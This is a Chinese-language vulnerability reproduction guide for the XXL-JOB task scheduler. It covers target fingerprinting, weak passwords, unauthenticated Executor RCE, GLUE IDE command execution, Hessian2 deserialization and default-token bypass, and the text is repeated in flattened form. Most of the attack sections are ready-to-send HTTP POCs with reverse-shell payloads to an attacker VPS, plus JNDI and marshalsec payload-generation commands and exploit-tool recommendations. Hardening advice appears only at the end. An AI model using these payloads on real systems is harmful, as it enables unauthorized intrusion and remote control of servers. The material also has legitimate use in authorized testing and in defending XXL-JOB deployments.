XXL-JOB常见漏洞汇总
字数 3242 2025-10-18 11:17:50

XXL-JOB 常见漏洞分析与复现指南

一、产品简介

XXL-JOB 是一个轻量级、分布式的任务调度平台。其核心设计是将任务调度(调度中心,Admin)与任务执行(执行器,Executor)分离。调度中心负责统一管理、触发所有定时任务,而执行器则分布在不同的机器上,负责承载具体的业务逻辑。

  • 核心价值:解决了分布式微服务架构下定时任务统一管理的难题,提供了Web界面进行任务管理、监控、告警,具有开箱即用、高可用、易扩展的特点。
  • 官网地址https://www.xuxueli.com/xxl-job/

二、资产识别(指纹信息)

在渗透测试或安全评估中,首先需要识别目标系统是否为XXL-JOB。

类型 特征(可用于FOFA、Hunter等测绘平台)
应用特征 app="XXL-JOB"
标题特征 title="任务调度中心"
Body特征 body="jobconf_trigger_type"
图标特征 icon_hash="1691956220"web.icon=="421c7c35244591f892496fe4d6e51921"
错误信息 body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"

三、漏洞详解与复现

文章共总结了5个主要漏洞,下面将逐一解析。

漏洞1:弱口令漏洞

  • 漏洞描述:XXL-JOB调度中心(Admin)的管理后台若使用默认或弱口令(如 admin/123456),攻击者可直接登录后台,为进一步利用(如后台RCE)获取权限。
  • 复现步骤
    1. 访问XXL-JOB调度中心登录页面(通常为 http://target:port/xxl-job-admin)。
    2. 尝试使用常见弱口令进行登录,例如 admin/123456
    3. 登录成功后,即获得后台管理权限。

漏洞2:Executor未授权访问RCE

  • 漏洞描述:XXL-JOB的执行器(Executor)端默认未配置认证。攻击者无需任何凭证即可通过其提供的RESTful API(/run 端点)远程执行命令。

  • 影响版本:多个版本受影响,尤其在未正确配置认证的情况下。

  • 复现步骤

    1. 识别目标:发现XXL-JOB界面(不一定是登录页,Executor也可能有简单页面)。
    2. 构造Payload:向目标的 /run 接口发送特制的POST请求。
    3. 利用:在请求体的 glueSource 字段中填入要执行的系统命令。
  • 漏洞利用POC(HTTP请求包)

    POST /run HTTP/1.1
    Host: <目标IP:端口>
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    Connection: close
    Content-Type: application/json
    Content-Length: 365
    
    {
      "jobId": 1,
      "executorHandler": "demoJobHandler",
      "executorParams": "demoJobHandler",
      "executorBlockStrategy": "COVER_EARLY",
      "executorTimeout": 0,
      "logId": 1,
      "logDateTime": 1586629003729,
      "glueType": "GLUE_SHELL", // 关键参数,指定为Shell模式
      "glueSource": "/bin/bash -i >& /dev/tcp/<你的VPS_IP>/<监听端口> 0>&1", // 关键参数,填入要执行的命令,此处为反弹Shell命令
      "glueUpdatetime": 1586699003758,
      "broadcastIndex": 0,
      "broadcastTotal": 0
    }
    
    • 在利用前,需在VPS上使用 nc -lvvp <监听端口> 开启监听。
    • 命令 glueSource 可替换为 ping dnslog.cncurl dnslog.cn 等进行无回显验证。

漏洞3:调度中心后台任意命令执行

  • 漏洞描述:在已通过弱口令等方式获得XXL-JOB调度中心(Admin)后台权限的前提下,攻击者可以通过创建或编辑“GLUE模式”的任务,直接在Web界面的“GLUE IDE”中写入Shell命令并触发执行,从而获取服务器权限。
  • 复现步骤
    1. 登录XXL-JOB管理后台。
    2. 进入“任务管理”菜单,点击“新增”或编辑一个现有任务。
    3. 在任务配置中,将“运行模式”设置为 “GLUE(Shell)”
    4. 点击下方的 “GLUE IDE” 按钮,在弹出的编辑器中写入要执行的Shell脚本。
      #!/bin/bash
      bash -c 'exec bash -i &>/dev/tcp/<你的VPS_IP>/<监听端口> <&1'
      
    5. 保存任务后,在任务列表中找到该任务,点击“操作”列下的“执行一次”。
    6. 检查VPS的NC监听器,成功获取反弹Shell。

漏洞4:API接口未授权Hessian2反序列化RCE

  • 漏洞描述:XXL-JOB早期版本(<= 2.0.2)的 /xxl-job-admin/api 接口存在未授权访问,并且前后端使用Hessian2序列化协议通信。攻击者可以构造恶意的Hessian2序列化数据发送至该接口,触发反序列化漏洞,导致远程代码执行。
  • 影响版本:<= 2.0.2
  • 复现步骤(基于文章描述的工具链):
    1. 准备恶意RMI服务:使用 JNDI-Injection-Exploit 工具启动一个恶意的RMI服务器,指定要执行的命令。
      java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl http://your-dnslog.com"
      
    2. 生成序列化Payload:使用 marshalsec 工具,利用 SpringAbstractBeanFactoryPointcutAdvisor 链生成Hessian2格式的序列化数据。
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://<你的RMI服务器IP>:1099/<生成的恶意路径> > payload.ser
      
    3. 发送Payload:将生成的 payload.ser 文件内容通过POST请求发送到目标的API接口。
      curl -X POST -H "Content-Type: x-application/hessian" --data-binary @payload.ser http://<目标地址>/xxl-job-admin/api
      
    4. 验证:观察DNSLog平台或服务器日志,确认命令是否被执行。

漏洞5:默认AccessToken权限绕过RCE

  • 漏洞描述:XXL-JOB用于调度中心与执行器之间通讯认证的 accessToken,如果在配置文件 application.properties 中未修改而使用默认值(空或 default_token),攻击者可以在调用Executor的 /run 接口时,在请求头中填入默认的Token,从而绕过认证,实现未授权命令执行。

  • 复现步骤

    1. 该漏洞的利用方式与 漏洞2(Executor未授权) 极其相似,区别在于需要在HTTP请求头中增加一个 XXL-JOB-ACCESS-TOKEN 字段。
    2. 发送以下POC:
    • 漏洞利用POC(HTTP请求包)
      POST /run HTTP/1.1
      Host: <目标IP:端口>
      Content-Type: application/json
      XXL-JOB-ACCESS-TOKEN: default_token  // 关键头,尝试使用默认Token
      User-Agent: Java/1.8.0_391
      Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
      Content-Length: 323
      Connection: close
      
      {
        "jobId": 287040,
        "executorHandler": "demoJobHandler",
        "executorParams": "demoJobHandler",
        "executorBlockStrategy": "COVER_EARLY",
        "executorTimeout": 0,
        "logId": 1,
        "logDateTime": 1586629003729,
        "glueType": "GLUE_SHELL",
        "glueSource": "ping xxxx.dnslog.cn", // 或反弹Shell命令
        "glueUpdatetime": 1586699003758,
        "broadcastIndex": 0,
        "broadcastTotal": 0
      }
      

四、自动化工具推荐

  1. XXL-JOB ExploitGUI

    • 简介:图形化漏洞利用工具,功能全面,支持检测和利用上述大部分漏洞。
    • 功能:单目标/批量扫描、多种漏洞检测、命令执行、内存马注入、代理设置、结果导出等。
    • 地址https://github.com/charonlight/xxl-jobExploitGUI
  2. afrog

    • 简介:一款高性能的漏洞扫描器,内置了XXL-JOB的POC。
    • 用法
      # 扫描单个目标
      afrog -t http://target.com -s xxl-job
      # 批量扫描目标文件中的地址
      afrog -T targets.txt -s xxl-job -o result.html
      # 列出所有与xxl-job相关的POC
      afrog -s xxl-job -pl
      

五、总结与安全建议

XXL-JOB的漏洞主要源于 默认配置不安全(弱口令、默认Token)、权限校验缺失(Executor、API未授权)以及 组件自身漏洞(Hessian2反序列化)。

安全加固建议

  • 修改默认密码:安装后立即修改管理后台的默认密码。
  • 强化认证:为Executor配置强力的 accessToken,并确保调度中心配置的Token与之匹配。
  • 网络隔离:将XXL-JOB调度中心和执行器部署在内网,限制外网访问。如果执行器需要对外服务,应严格设置防火墙策略,仅允许调度中心IP访问其API端口。
  • 及时升级:保持XXL-JOB版本为最新,特别是修复了已知安全漏洞的版本。
  • 最小权限原则:运行XXL-JOB的账户不应具有过高系统权限。

希望这份详尽的文档能对您的学习或工作有所帮助。请注意,所有技术信息仅应用于安全研究、教学或授权测试,切勿用于非法用途。

XXL-JOB 常见漏洞分析与复现指南 一、产品简介 XXL-JOB 是一个轻量级、分布式的任务调度平台。其核心设计是将任务调度(调度中心,Admin)与任务执行(执行器,Executor)分离。调度中心负责统一管理、触发所有定时任务,而执行器则分布在不同的机器上,负责承载具体的业务逻辑。 核心价值 :解决了分布式微服务架构下定时任务统一管理的难题,提供了Web界面进行任务管理、监控、告警,具有开箱即用、高可用、易扩展的特点。 官网地址 : https://www.xuxueli.com/xxl-job/ 二、资产识别(指纹信息) 在渗透测试或安全评估中,首先需要识别目标系统是否为XXL-JOB。 | 类型 | 特征(可用于FOFA、Hunter等测绘平台) | | :----------- | :--------------------------------------------------------------------------- | | 应用特征 | app="XXL-JOB" | | 标题特征 | title="任务调度中心" | | Body特征 | body="jobconf_trigger_type" | | 图标特征 | icon_hash="1691956220" 或 web.icon=="421c7c35244591f892496fe4d6e51921" | | 错误信息 | body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}" | 三、漏洞详解与复现 文章共总结了5个主要漏洞,下面将逐一解析。 漏洞1:弱口令漏洞 漏洞描述 :XXL-JOB调度中心(Admin)的管理后台若使用默认或弱口令(如 admin/123456 ),攻击者可直接登录后台,为进一步利用(如后台RCE)获取权限。 复现步骤 : 访问XXL-JOB调度中心登录页面(通常为 http://target:port/xxl-job-admin )。 尝试使用常见弱口令进行登录,例如 admin/123456 。 登录成功后,即获得后台管理权限。 漏洞2:Executor未授权访问RCE 漏洞描述 :XXL-JOB的执行器(Executor)端默认未配置认证。攻击者无需任何凭证即可通过其提供的RESTful API( /run 端点)远程执行命令。 影响版本 :多个版本受影响,尤其在未正确配置认证的情况下。 复现步骤 : 识别目标 :发现XXL-JOB界面(不一定是登录页,Executor也可能有简单页面)。 构造Payload :向目标的 /run 接口发送特制的POST请求。 利用 :在请求体的 glueSource 字段中填入要执行的系统命令。 漏洞利用POC(HTTP请求包) : 在利用前,需在VPS上使用 nc -lvvp <监听端口> 开启监听。 命令 glueSource 可替换为 ping dnslog.cn 或 curl dnslog.cn 等进行无回显验证。 漏洞3:调度中心后台任意命令执行 漏洞描述 :在已通过弱口令等方式获得XXL-JOB调度中心(Admin)后台权限的前提下,攻击者可以通过创建或编辑“GLUE模式”的任务,直接在Web界面的“GLUE IDE”中写入Shell命令并触发执行,从而获取服务器权限。 复现步骤 : 登录XXL-JOB管理后台。 进入“任务管理”菜单,点击“新增”或编辑一个现有任务。 在任务配置中,将“运行模式”设置为 “GLUE(Shell)” 。 点击下方的 “GLUE IDE” 按钮,在弹出的编辑器中写入要执行的Shell脚本。 保存任务后,在任务列表中找到该任务,点击“操作”列下的“执行一次”。 检查VPS的NC监听器,成功获取反弹Shell。 漏洞4:API接口未授权Hessian2反序列化RCE 漏洞描述 :XXL-JOB早期版本(<= 2.0.2)的 /xxl-job-admin/api 接口存在未授权访问,并且前后端使用Hessian2序列化协议通信。攻击者可以构造恶意的Hessian2序列化数据发送至该接口,触发反序列化漏洞,导致远程代码执行。 影响版本 : <= 2.0.2 复现步骤 (基于文章描述的工具链): 准备恶意RMI服务 :使用 JNDI-Injection-Exploit 工具启动一个恶意的RMI服务器,指定要执行的命令。 生成序列化Payload :使用 marshalsec 工具,利用 SpringAbstractBeanFactoryPointcutAdvisor 链生成Hessian2格式的序列化数据。 发送Payload :将生成的 payload.ser 文件内容通过POST请求发送到目标的API接口。 验证 :观察DNSLog平台或服务器日志,确认命令是否被执行。 漏洞5:默认AccessToken权限绕过RCE 漏洞描述 :XXL-JOB用于调度中心与执行器之间通讯认证的 accessToken ,如果在配置文件 application.properties 中未修改而使用默认值(空或 default_token ),攻击者可以在调用Executor的 /run 接口时,在请求头中填入默认的Token,从而绕过认证,实现未授权命令执行。 复现步骤 : 该漏洞的利用方式与 漏洞2(Executor未授权) 极其相似,区别在于需要在HTTP请求头中增加一个 XXL-JOB-ACCESS-TOKEN 字段。 发送以下POC: 漏洞利用POC(HTTP请求包) : 四、自动化工具推荐 XXL-JOB ExploitGUI 简介 :图形化漏洞利用工具,功能全面,支持检测和利用上述大部分漏洞。 功能 :单目标/批量扫描、多种漏洞检测、命令执行、内存马注入、代理设置、结果导出等。 地址 : https://github.com/charonlight/xxl-jobExploitGUI afrog 简介 :一款高性能的漏洞扫描器,内置了XXL-JOB的POC。 用法 : 五、总结与安全建议 XXL-JOB的漏洞主要源于 默认配置不安全 (弱口令、默认Token)、 权限校验缺失 (Executor、API未授权)以及 组件自身漏洞 (Hessian2反序列化)。 安全加固建议 : 修改默认密码 :安装后立即修改管理后台的默认密码。 强化认证 :为Executor配置强力的 accessToken ,并确保调度中心配置的Token与之匹配。 网络隔离 :将XXL-JOB调度中心和执行器部署在内网,限制外网访问。如果执行器需要对外服务,应严格设置防火墙策略,仅允许调度中心IP访问其API端口。 及时升级 :保持XXL-JOB版本为最新,特别是修复了已知安全漏洞的版本。 最小权限原则 :运行XXL-JOB的账户不应具有过高系统权限。 希望这份详尽的文档能对您的学习或工作有所帮助。请注意,所有技术信息仅应用于安全研究、教学或授权测试,切勿用于非法用途。